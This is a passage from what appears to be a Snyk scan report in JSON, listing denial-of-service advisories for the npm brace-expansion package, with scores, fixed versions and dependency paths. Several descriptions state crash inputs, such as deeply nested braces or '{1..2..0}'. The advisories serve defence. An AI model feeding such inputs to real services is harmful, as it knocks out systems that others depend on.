"https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { 